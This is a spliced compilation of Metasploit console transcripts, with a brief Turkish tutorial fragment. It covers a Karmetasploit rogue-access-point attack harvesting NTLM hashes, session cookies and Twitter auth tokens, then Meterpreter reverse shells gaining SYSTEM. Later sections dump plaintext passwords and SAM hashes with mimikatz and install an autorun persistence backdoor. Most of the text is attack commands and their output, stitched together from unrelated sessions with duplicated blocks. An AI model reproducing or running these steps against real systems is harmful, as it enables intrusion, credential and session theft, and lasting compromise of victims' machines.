[*] Closing service handle...
[*] Deleting UxsjordQ.exe...
[*] Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D
[*] Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Sending Access Denied to 10.0.0.100:1362 
[*] Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0
[*] Authenticating to 10.0.0.100 as TARGET\P0WN3D...
[*] AUTHENTICATED as TARGETP0WN3D...
[*] Ignoring request from 10.0.0.100, attack already in progress.
[*] Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D
[*] Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...
[*] Sending stage (2650 bytes)
[*] Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.care2.com/">www.care2.com:80</a> GET / Windows IE 5.01 cookies=
[*] Sleeping before handling stage...
[*] HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET / Windows IE 5.01 cookies=
[*] HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET / Windows IE 5.01 cookies=
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Migrating to lsass.exe...
[*] Current server process: rundll32.exe (848)
[*] New server process: lsass.exe (232)
[*] Meterpreter session 1 opened (10.0.0.1:45017 -> 10.0.0.100:1364)

msf auxiliary(http) > sessions -l

Active sessions
===============

  Id  Description  Tunnel                             
  --  -----------  ------                             
  1   Meterpreter  10.0.0.1:45017 -> 10.0.0.100:1364

> DNS 10.0.0.100:1284 XID 92 **(**IN::A <a href="http://ecademy.com/">ecademy.com</a>**)**
> DNS 10.0.0.100:1286 XID 93 **(**IN::A <a href="http://facebook.com/">facebook.com</a>**)**
> DNS 10.0.0.100:1286 XID 93 **(**IN::A <a href="http://facebook.com/">facebook.com</a>**)**
> DNS 10.0.0.100:1287 XID 94 **(**IN::A <a href="http://gather.com/">gather.com</a>**)**
> DNS 10.0.0.100:1287 XID 94 **(**IN::A <a href="http://gather.com/">gather.com</a>**)**

> HTTP REQUEST 10.0.0.100 > <a href="http://gmail.google.com/">gmail.google.com</a>:80 GET /forms.html Windows IE 5.01 cook
ies**=**PREF**=**ID**=**474686c582f13be6:U**=**ecaec12d78faa1ba:TM**=**1241334857:LM**=**1241334880: S**=**snePRUjY-zgcXpEV;NID**=**22**=**nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4eFCH6h I1ae23ghwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8

> HTTP REQUEST 10.0.0.100 > <a href="http://google.com/">google.com</a>:80 GET /forms.html Windows IE 5.01 cookies**=**PREF**=**ID**=**474686c582f13be6:U**=**ecaec12d78faa1ba:TM**=**1241334857:LM**=**1241334880: S**=**snePRUjY-zgcXpEV;NID**=**22**=**nFGYMj-l7FaT7qz3zwXjen9_miz8RDn_rA-lP_IbBocsb3m4e FCH6hI1ae23g hwenHaEGltA5hiZbjA2gk8i7m8u9Za718IFyaDEJRw0Ip1sT8uHHsJGTYfpAlne1vB8
Here we can see Karmetasploit collecting cookie information from the client. This could be useful information to use **in **attacks against the user later on.

> Received 10.0.0.100:1362 TARGET\P0WN3D LMHASH:47a8cfba21d8473f9cc1674cedeba0fa6dc1c2a4dd904b72 NTHASH:ea389b305cd095d32124597122324fc470ae8d9205bdfc19 OS:Windows 2000 2195 LM:Windows 2000 5.0
> Authenticating to 10.0.0.100 as TARGET\P0WN3D...
> AUTHENTICATED as TARGET\P0WN3D...
> Connecting to the ADMIN$ share...
> Regenerating the payload...
> Uploading payload...
> Obtaining a service manager handle...
> Creating a new service...
> Closing service handle...
> Opening service...
> Starting the service...
> Transmitting intermediate stager **for **over-sized stage...**(**191 bytes**)**
> Removing the service...
> Closing service handle...
> Deleting UxsjordQ.exe...
> Sending Access Denied to 10.0.0.100:1362 TARGET\P0WN3D
> Received 10.0.0.100:1362 LMHASH:00 NTHASH: OS:Windows 2000 2195 LM:Windows 2000 5.0
> Sending Access Denied to 10.0.0.100:1362
> Received 10.0.0.100:1365 TARGET\P0WN3D LMHASH:3cd170ac4f807291a1b90da20bb8eb228cf50aaf5373897d NTHASH:ddb2b9bed56faf557b1a35d3687fc2c8760a5b45f1d1f4cd OS:Windows 2000 2195 LM:Windows 2000 5.0
> Authenticating to 10.0.0.100 as TARGET\P0WN3D...
> AUTHENTICATED as TARGET\P0WN3D...
> Ignoring request from 10.0.0.100, attack already **in **progress.
> Sending Access Denied to 10.0.0.100:1365 TARGET\P0WN3D
> Sending Apple QuickTime 7.1.3 RTSP URI Buffer Overflow to 10.0.0.100:1278...
> Sending stage **(**2650 bytes**)**
> Sending iPhone MobileSafari LibTIFF Buffer Overflow to 10.0.0.100:1367...
> HTTP REQUEST 10.0.0.100 > <a href="http://www.care2.com/">www.care2.com:80</a> GET / Windows IE 5.01 cookies**=**
> Sleeping before handling stage...
> HTTP REQUEST 10.0.0.100 > <a href="http://www.yahoo.com/">www.yahoo.com:80</a> GET / Windows IE 5.01 cookies**=**
> HTTP REQUEST 10.0.0.100 > <a href="http://yahoo.com/">yahoo.com</a>:80 GET / Windows IE 5.01 cookies**=**
> Uploading DLL **(**75787 bytes**)**...
> Upload completed.
> Migrating to lsass.exe...
> Current server process: rundll32.exe **(**848**)**
> New server process: lsass.exe **(**232**)**
> Meterpreter session 1 opened **(**10.0.0.1:45017 -> 10.0.0.100:1364**)**

msf auxiliary**(**http**)** > sessions -i 1
> Starting interaction with 1...

meterpreter > ps

Process list
**============**

    PID   Name               Path                                                          
    ---   ----               ----                                                          
    144   smss.exe           \SystemRoot\System32\smss.exe                                 
    172   csrss.exe          \??\C:\WINNT\system32\csrss.exe                               
    192   winlogon.exe       \??\C:\WINNT\system32\winlogon.exe                            
    220   services.exe       C:\WINNT\system32\services.exe                                
    232   lsass.exe          C:\WINNT\system32\lsass.exe                                   
    284   firefox.exe        C:\Program Files\Mozilla Firefox\firefox.exe                  
    300   KodakImg.exe       C:\Program Files\Windows NT\Accessories\ImageVueKodakImg.exe 
    396   svchost.exe        C:\WINNT\system32\svchost.exe                                 
    416   spoolsv.exe        C:\WINNT\system32\spoolsv.exe                                 
    452   svchost.exe        C:\WINNT\System32\svchost.exe                                 
    488   regsvc.exe         C:\WINNT\system32\regsvc.exe                                  
    512   MSTask.exe         C:\WINNT\system32\MSTask.exe                                  
    568   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe        
    632   WinMgmt.exe        C:\WINNT\System32\WBEM\WinMgmt.exe                            
    696   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe        
    760   Explorer.exe       C:\WINNT\Explorer.exe                                         
    832   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe           
    848   rundll32.exe       C:\WINNT\system32\rundll32.exe                                
    860   VMwareUser.exe     C:\Program Files\VMware\VMware Tool\VMwareUser.exe           
    884   RtWLan.exe         C:\Program Files\ASUS WiFi-AP Solo\RtWLan.exe                 
    916   TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe        
    952   SCardSvr.exe       C:\WINNT\System32\SCardSvr.exe                                
    1168  IEXPLORE.EXE       C:\Program Files\Internet Explorer\IEXPLORE.EXE               

meterpreter > ipconfig /all

VMware Accelerated AMD PCNet Adapter
Hardware MAC: 00:0c:29:85:81:55
IP Address  : 0.0.0.0
Netmask     : 0.0.0.0



Realtek RTL8187 Wireless LAN USB NIC                                    
Hardware MAC: 00:c0:ca:1a:e7:d4
IP Address  : 10.0.0.100
Netmask     : 255.255.255.0



MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


meterpreter > pwd
C:\WINNT\system32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

root@kali:~# sqlite3 karma.db
SQLite version 3.5.9
Enter ".help" **for **instructions
sqlite> .schema
CREATE TABLE hosts **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'address' VARCHAR**(**16**)** UNIQUE,
'comm' VARCHAR**(**255**)**,
'name' VARCHAR**(**255**)**,
'state' VARCHAR**(**255**)**,
'desc' VARCHAR**(**1024**)**,
'os_name' VARCHAR**(**255**)**,
'os_flavor' VARCHAR**(**255**)**,
'os_sp' VARCHAR**(**255**)**,
'os_lang' VARCHAR**(**255**)**,
'arch' VARCHAR**(**255**)**
**)**;
CREATE TABLE notes **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'created' TIMESTAMP,
'host_id' INTEGER,
'ntype' VARCHAR**(**512**)**,
'data' TEXT
**)**;
CREATE TABLE refs **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'ref_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR**(**512**)**
**)**;
CREATE TABLE reports **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'target_id' INTEGER,
'parent_id' INTEGER,
'entity' VARCHAR**(**50**)**,
'etype' VARCHAR**(**50**)**,
'value' BLOB,
'notes' VARCHAR,
'source' VARCHAR,
'created' TIMESTAMP
**)**;
CREATE TABLE requests **(**
'host' VARCHAR**(**20**)**,
'port' INTEGER,
'ssl' INTEGER,
'meth' VARCHAR**(**20**)**,
'path' BLOB,
'headers' BLOB,
'query' BLOB,
'body' BLOB,
'respcode' VARCHAR**(**5**)**,
'resphead' BLOB,
'response' BLOB,
'created' TIMESTAMP
**)**;
CREATE TABLE services **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'host_id' INTEGER,
'created' TIMESTAMP,
'port' INTEGER NOT NULL,
'proto' VARCHAR**(**16**)** NOT NULL,
'state' VARCHAR**(**255**)**,
'name' VARCHAR**(**255**)**,
'desc' VARCHAR**(**1024**)**
**)**;
CREATE TABLE targets **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'host' VARCHAR**(**20**)**,
'port' INTEGER,
'ssl' INTEGER,
'selected' INTEGER
**)**;
CREATE TABLE vulns **(**
'id' INTEGER PRIMARY KEY NOT NULL,
'service_id' INTEGER,
'created' TIMESTAMP,
'name' VARCHAR**(**1024**)**,
'data' TEXT
**)**;
CREATE TABLE vulns_refs **(**
'ref_id' INTEGER,
'vuln_id' INTEGER
**)**;

sqlite> **select** ***** from hosts;
1|2009-05-09 23:47:04|10.0.0.100|||alive||Windows|2000|||x86
sqlite> **select** ***** from notes where host_id **=** 1;
1|2009-05-09 23:47:04|1|http_cookies|en-us.start2.mozilla.com __utma**=**183859642.1221819733.1241334886.1241334886.1241334886.1; __utmz**=**183859642.1241334886.1.1.utmccn**=(**organic**)**|utmcsr**=**google|utmctr**=**firefox|utmcmd**=**organic
2|2009-05-09 23:47:04|1|http_request|en-us.start2.mozilla.com:80 GET /firefox Windows FF 1.9.0.10
3|2009-05-09 23:47:05|1|http_cookies|adwords.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
4|2009-05-09 23:47:05|1|http_request|adwords.google.com:80 GET /forms.html Windows FF 1.9.0.10
5|2009-05-09 23:47:05|1|http_request|blogger.com:80 GET /forms.html Windows FF 1.9.0.10
6|2009-05-09 23:47:05|1|http_request|care.com:80 GET /forms.html Windows FF 1.9.0.10
7|2009-05-09 23:47:05|1|http_request|0.0.0.0:55550 GET /ads Windows Firefox 3.0.10
8|2009-05-09 23:47:06|1|http_request|careerbuilder.com:80 GET /forms.html Windows FF 1.9.0.10
9|2009-05-09 23:47:06|1|http_request|ecademy.com:80 GET /forms.html Windows FF 1.9.0.10
10|2009-05-09 23:47:06|1|http_cookies|facebook.com datr**=**1241925583-120e39e88339c0edfd73fab6428ed813209603d31bd9d1dccccf3; ABT**=**::#b0ad8a8df29cc7bafdf91e67c86d58561st0:1242530384:A#2dd086ca2a46e9e50fff44e0ec48cb811st0:1242530384:B; s_vsn_facebookpoc_1**=**7269814957402
11|2009-05-09 23:47:06|1|http_request|facebook.com:80 GET /forms.html Windows FF 1.9.0.10
12|2009-05-09 23:47:06|1|http_request|gather.com:80 GET /forms.html Windows FF 1.9.0.10
13|2009-05-09 23:47:06|1|http_request|gmail.com:80 GET /forms.html Windows FF 1.9.0.10
14|2009-05-09 23:47:06|1|http_cookies|gmail.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
15|2009-05-09 23:47:07|1|http_request|gmail.google.com:80 GET /forms.html Windows FF 1.9.0.10
16|2009-05-09 23:47:07|1|http_cookies|google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
17|2009-05-09 23:47:07|1|http_request|google.com:80 GET /forms.html Windows FF 1.9.0.10
18|2009-05-09 23:47:07|1|http_request|linkedin.com:80 GET /forms.html Windows FF 1.9.0.10

101|2009-05-09 23:50:03|1|http_cookies|safebrowsing.clients.google.com PREF**=**ID**=**ee60297d21c2a6e5:U**=**ecaec12d78faa1ba:TM**=**1241913986:LM**=**1241926890:GM**=**1:S**=**-p5nGxSz_oh1inss; NID**=**22**=**Yse3kJm0PoVwyYxj8GKC6LvlIqQMsruiPwQrcRRnLO_4Z0CzBRCIUucvroS_Rujrx6ov-tXzVKN2KJN4pEJdg25ViugPU0UZQhTuh80hNAPvvsq2_HARTNlG7dgUrBNq; SID**=**DQAAAHAAAADNMtnGqaWPkEBIxfsMQNzDt_f7KykHkPoYCRZn_Zen8zleeLyKr8XUmLvJVPZoxsdSBUd22TbQ3p1nc0TcoNHv7cEihkxtHl45zZraamzaji9qRC-XxU9po34obEBzGotphFHoAtLxgThdHQKWNQZq
102|2009-05-09 23:50:03|1|http_request|safebrowsing.clients.google.com:80 POST /safebrowsing/downloads Windows FF 1.9.0.10
108|2009-05-10 00:43:29|1|http_cookies|twitter.com auth_token**=**1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f
109|2009-05-10 00:43:29|1|http_cookies|www.twitter.com auth_token**=**1241930535--c2a31fa4627149c521b965e0d7bdc3617df6ae1f
sqlite>

root@kali:/var/www# wget <a href="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe">http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe</a>
--2015-07-21 12:01:27--  <a href="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe">http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe</a>

Resolving the.earth.li **(**the.earth.li**)**... 46.43.34.31, 2001:41c8:10:b1f:c0ff:ee:15:900d
Connecting to the.earth.li **(**the.earth.li**)**|46.43.34.31|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: <a href="http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe">http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe</a> **[**following]
--2015-07-21 12:01:27--  <a href="http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe">http://the.earth.li/~sgtatham/putty/0.64/x86/putty.exe</a>
Reusing existing connection to the.earth.li:80.
HTTP request sent, awaiting response... 200 OK
Length: 524288 **(**512K**)** **[**application/x-msdos-program]
Saving to: `putty.exe'

100%[=========================================================================================================>] 524,288      815K/s   in 0.6s    

2015-07-21 12:01:28 (815 KB/s) - `putty.exe' saved **[**524288/524288]

root@kali:/var/www#

İşlem başarıyla sonuçlandığında elimizde ```puttyX.exe``` isimli kodlanmış ve içine payload yerleştirilmiş bir çalıştırılabilir dosya bulunmaktadır.

.exe dosyasının içine, reverse payload yerleştirildiğine göre, bu payload bizim yerel bilgisayarımıza bağlanmak isteyecektir. O zaman, ```msfconsole``` içerisinde bir dinleyici modül çalıştırmalıyız ki bağlantı mümkün olsun.

Bunun için ```exploit/multi/handler``` modülünü kullanalım ve gerekli ayarları yapalım.

```sh
msf > use exploit/multi/handler 

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.101
LHOST => 192.168.1.101

msf exploit(handler) > set LPORT 443
LPORT => 443

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:443 
[*] Starting the payload handler...

> Sending stage **(**749056 bytes**)** to 192.168.1.201
> Meterpreter session 1 opened **(**192.168.1.101:443 -> 192.168.1.201:1189**)** at Sat Feb 05 08:54:25 -0700 2011

meterpreter > getuid
Server username: XEN-XP-SPLOIT\Administrator
meterpreter >

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system **(**via technique 1**)**.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > sysinfo
Computer        : WINXP-E95CE571A1
OS              : Windows XP **(**Build 2600, Service Pack 3**)**.
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32

meterpreter > load mimikatz
Loading extension mimikatz...success.

meterpreter > help mimikatz

Mimikatz Commands
**=================**

    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds
    livessp           Attempt to retrieve livessp creds
    mimikatz_command  Run a custom commannd
    msv               Attempt to retrieve msv creds **(**hashes**)**
    ssp               Attempt to retrieve ssp creds
    tspkg             Attempt to retrieve tspkg creds
    wdigest           Attempt to retrieve wdigest creds

meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 **(**RC**)** **(**Nov  7 2013 08:21:02**)**

meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvable

Modules disponibles : 
                - Standard
      crypto    - Cryptographie et certificats
        hash    - Hash
      system    - Gestion système
     process    - Manipulation des processus
      thread    - Manipulation des threads
     service    - Manipulation des services
   privilege    - Manipulation des privilèges
      handle    - Manipulation des handles
 impersonate    - Manipulation tokens d'accès
     winmine    - Manipulation du démineur
 minesweeper    - Manipulation du démineur 7
       nogpo    - Anti-gpo et patchs divers
     samdump    - Dump de SAM
      inject    - Injecteur de librairies
          ts    - Terminal Server
      divers    - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
    sekurlsa    - Dump des sessions courantes par providers LSASS
         efs    - Manipulations EFS

meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvable

Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
  noroutemon    - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
   eventdrop    - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
  cancelator    - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
     secrets    - Affiche les secrets utilisateur

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;56683  NTLM                                          
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : winxp-e95ce571a1
BootKey    : 553d8c1349162121e2a5d3d0f571db7f

Rid  : 500
User : Administrator
LM   : 
NTLM : d6eec67681a3be111b5605849505628f

Rid  : 501
User : Guest
LM   : 
NTLM : 

Rid  : 1000
User : HelpAssistant
LM   : 6165cd1a0ebc61e470475c82cd451e14
NTLM : 

Rid  : 1002
User : SUPPORT_388945a0
LM   : 
NTLM : 771ee1fce7225b28f8aec4a88aea9b6a

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
**[**0] **{** Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword **}**

meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvable

Description du module : Manipulation des handles
list              - Affiche les handles du système **(**pour le moment juste les processus et tokens**)**
processStop       - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate  - Essaye d'impersonaliser un token en utilisant d'autres handles
nullAcl           - Positionne une ACL null sur des Handles


meterpreter > mimikatz_command -f handle::list
...snip...
  760  lsass.exe                 ->  1004       Token           NT AUTHORITY ETWORK SERVICE
  760  lsass.exe                 ->  1008       Process 704     winlogon.exe
  760  lsass.exe                 ->  1052       Process 980     svchost.exe
  760  lsass.exe                 ->  1072       Process 2664    fubar.exe
  760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE
  760  lsass.exe                 ->  1096       Process 704     winlogon.exe
  760  lsass.exe                 ->  1264       Process 1124    svchost.exe
  760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON
  760  lsass.exe                 ->  1276       Process 1804    psia.exe
  760  lsass.exe                 ->  1352       Process 480     jusched.exe
  760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe
  760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator
...snip...

meterpreter > mimikatz_command -f service::
Module : 'service' identifié, mais commande '' introuvable

Description du module : Manipulation des services
        list    - Liste les services et pilotes
       start    - Démarre un service ou pilote
        stop    - Arrête un service ou pilote
      remove    - Supprime un service ou pilote
    mimikatz    - Installe et/ou démarre le pilote mimikatz

meterpreter > mimikatz_command -f service::list
...snip...
        WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry
        KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device **(**RFCOMM Protocol TDI**)**
        WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call **(**RPC**)** Locator
  980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call **(**RPC**)**
        WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP
  760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager
        WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card
 1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler
        KERNEL_DRIVER   STOPPED Secdrv  Secdrv
 1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon
 1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent
 3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent
...snip...

meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvable

Description du module : Cryptographie et certificats
listProviders   - Liste les providers installés**)**
  listStores    - Liste les magasins système
listCertificates        - Liste les certificats
    listKeys    - Liste les conteneurs de clés
exportCertificates      - Exporte les certificats
  exportKeys    - Exporte les clés
    patchcng    - **[**experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
   patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable

meterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :
        Gemplus GemSAFE Card CSP v1.0
        Infineon SICRYPT Base Smart Card CSP
        Microsoft Base Cryptographic Provider v1.0
        Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Base DSS Cryptographic Provider
        Microsoft Base Smart Card Crypto Provider
        Microsoft DH SChannel Cryptographic Provider
        Microsoft Enhanced Cryptographic Provider v1.0
        Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
        Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)
        Microsoft RSA SChannel Cryptographic Provider
        Microsoft Strong Cryptographic Provider

meterpreter > run persistence -h

**[!]** Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
**[!]** Example: run post/windows/manage/persistence_exe OPTION**=**value **[**...]
Meterpreter Script **for **creating a persistent backdoor on a target host.

OPTIONS:

    -A   Automatically start a matching exploit/multi/handler to connect to the agent
    -L   Location **in **target host to write payload to, **if **none %TEMP% will be used.
    -P   Payload to use, default is windows/meterpreter/reverse_tcp.
    -S   Automatically start the agent on boot as a service **(**with SYSTEM privileges**)**
    -T   Alternate executable template to use
    -U   Automatically start the agent when the User logs on
    -X   Automatically start the agent when the system boots
    -h   This help menu
    -i   The interval **in **seconds between each connection attempt
    -p   The port on which the system running Metasploit is listening
    -r   The IP of the system running Metasploit listening **for **the connect back

meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
> Creating a persistent agent: LHOST**=**192.168.1.71 LPORT**=**443 **(**interval**=**5 onboot**=**true**)**
> Persistent agent script is 613976 bytes long
> Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
> Agent executed with PID 492
> Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
> Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHdlEDygViABr
> For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc
meterpreter >

multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc

meterpreter > reboot
Rebooting...
meterpreter > exit

> Meterpreter session 3 closed.  Reason: User exit

msf exploit**(**ms08_067_netapi**)** > use exploit/multi/handler
msf exploit**(**handler**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**handler**)** > set LHOST 192.168.1.71
LHOST **=>** 192.168.1.71
msf exploit**(**handler**)** > set LPORT 443
LPORT **=>** 443
msf exploit**(**handler**)** > exploit

> Started reverse handler on 192.168.1.71:443
> Starting the payload handler...

> Sending stage **(**748544 bytes**)** to 192.168.1.161
> Meterpreter session 5 opened **(**192.168.1.71:443 -> 192.168.1.161:1045**)** at 2010-08-21 12:31:42 -0600

meterpreter > sysinfo
Computer: XEN-XP-SP2-BARE
OS      : Windows XP **(**Build 2600, Service Pack 2**)**.
Arch    : x86
Language: en_US
meterpreter >```

msf exploit**(**3proxy**)** > exploit

> Started reverse handler
> Trying target Windows XP SP2 - English...
> Sending stage **(**719360 bytes**)**
> Meterpreter session 1 opened **(**192.168.1.101:4444 -> 192.168.1.104:1983**)**

meterpreter > ps

Process list
**============**

    PID   Name                 Path
    ---   ----                 ----
    132   ctfmon.exe           C:\WINDOWS\system32\ctfmon.exe
    176   svchost.exe          C:\WINDOWS\system32\svchost.exe
    440   VMwareService.exe    C:\Program Files\VMware\VMware Tools\VMwareService.exe
    632   Explorer.EXE         C:\WINDOWS\Explorer.EXE
    796   smss.exe             \SystemRoot\System32\smss.exe
    836   VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    844   VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    884   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
    908   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
    952   services.exe         C:\WINDOWS\system32\services.exe
    964   lsass.exe            C:\WINDOWS\system32\lsass.exe
